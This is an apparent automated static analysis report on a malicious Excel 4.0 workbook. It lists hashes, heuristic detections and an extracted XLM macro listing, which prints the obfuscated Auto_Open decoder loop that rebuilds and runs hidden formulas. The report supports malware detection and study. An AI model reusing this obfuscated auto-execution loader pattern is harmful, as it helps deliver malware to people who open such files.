Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 115b71d1b9772b1d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:31:52 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 6dafb8c102a266ec3f09cd28ff74f2b8 SHA-1: aebe5e6f3a00b83eec5d83c5151c7e2ff897f48c SHA-256: 115b71d1b9772b1df6d21f818837e0175d886b05668a67aefaadc94f475739c5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6680 bytes
SHA-256: 0fbaaa0ee620fb93e9b0f22f263c88a2d2a523f85d9a8f616ed68869bfff6b87
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UeuHTtiGFtY
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C185 
' 0018     21 LABEL : Cell Value, String Constant - bcTCZn len=0 
' 0018     25 LABEL : Cell Value, String Constant - cOgPlBLwRG len=0 
' 0018     22 LABEL : Cell Value, String Constant - dESBHog len=0 
' 0018     22 LABEL : Cell Value, String Constant - guaXduD len=0 
' 0018     25 LABEL : Cell Value, String Constant - HeMdCAxQbj len=0 
' 0018     20 LABEL : Cell Value, String Constant - HEWcF len=0 
' 0018     27 LABEL : Cell Value, String Constant - IHpTcGPmnNuv len=0 
' 0018     27 LABEL : Cell Value, String Constant - kdlyQAKoRmlH len=0 
' 0018     24 LABEL : Cell Value, String Constant - KNAaSQeUc len=0 
' 0018     26 LABEL : Cell Value, String Constant - qaIGHhuDjow len=0 
' 0018     22 LABEL : Cell Value, String Constant - QgEADOR len=0 
' 0018     20 LABEL : Cell Value, String Constant - SMEXE len=0 
' 0018     25 LABEL : Cell Value, String Constant - SpgKODKFIj len=0 
' 0018     23 LABEL : Cell Value, String Constant - svmnkNAJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - tEObaiVHd len=0 
' 0018     22 LABEL : Cell Value, String Constant - whqwisW len=0 
' 0018     23 LABEL : Cell Value, String Constant - XMxnXEgU len=0 
' 0018     21 LABEL : Cell Value, String Constant - XYPytP len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZoSTZBZqgHjj len=0 
' 0018     20 LABEL : Cell Value, String Constant - zzqaT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UeuHTtiGFtY,C92,"SET.NAME("HEWcF",VALUE("0"))",""
'  UeuHTtiGFtY,C96,"SET.NAME("tEObaiVHd",HEWcF)",""
'  UeuHTtiGFtY,C100,"SET.NAME("XMxnXEgU",HEWcF)",""
'  UeuHTtiGFtY,C104,"SET.NAME("whqwisW",COUNTA(SMEXE))",""
'  UeuHTtiGFtY,C108,"SET.NAME("guaXduD",COUNTA(bcTCZn))",""
'  UeuHTtiGFtY,C112,[],""
'  UeuHTtiGFtY,C115,"SET.NAME("XYPytP","")",""
'  UeuHTtiGFtY,C119,"tEObaiVHd",""
'  UeuHTtiGFtY,C122,"SET.NAME("svmnkNAJ",HLOOKUP("*",SMEXE,tEObaiVHd,FALSE))",""
'  UeuHTtiGFtY,C127,"kdlyQAKoRmlH",""
'  UeuHTtiGFtY,C129,"SET.NAME("SpgKODKFIj",HEWcF)",""
'  UeuHTtiGFtY,C134,[],""
'  UeuHTtiGFtY,C136,"SpgKODKFIj",""
'  UeuHTtiGFtY,C141,"qaIGHhuDjow",""
'  UeuHTtiGFtY,C144,"QgEADOR",""
'  UeuHTtiGFtY,C147,"ZoSTZBZqgHjj",""
'  UeuHTtiGFtY,C152,"SET.NAME("IHpTcGPmnNuv",VALUE(HLOOKUP("*",bcTCZn,ZoSTZBZqgHjj,FALSE)))",""
'  UeuHTtiGFtY,C155,"zzqaT",""
'  UeuHTtiGFtY,C158,"XYPytP",""
'  UeuHTtiGFtY,C162,"XMxnXEgU",""
'  UeuHTtiGFtY,C164,NEXT(),""
'  UeuHTtiGFtY,C169,"dESBHog",""
'  UeuHTtiGFtY,C172,"SET.NAME("f",INT(T(FORMULA(T(XYPytP)&"",""&T(dESBHog)))))",""
'  UeuHTtiGFtY,C174,"cOgPlBLwRG",""
'  UeuHTtiGFtY,C178,NEXT(),""
'  UeuHTtiGFtY,C183,RETURN(),""
'  UeuHTtiGFtY,C207,"SET.NAME("KNAaSQeUc",C92)",""
'  UeuHTtiGFtY,C212,"SMEXE",""
'  UeuHTtiGFtY,C216,"SET.NAME("bcTCZn",R42C12)",""
'  UeuHTtiGFtY,C219,"SET.NAME("cOgPlBLwRG",228)",""
'  UeuHTtiGFtY,C223,"SET.NAME("HeMdCAxQbj",3)",""
'  UeuHTtiGFtY,C227,KNAaSQeUc(),""
'  UeuHTtiGFtY,C228,HALT(),""

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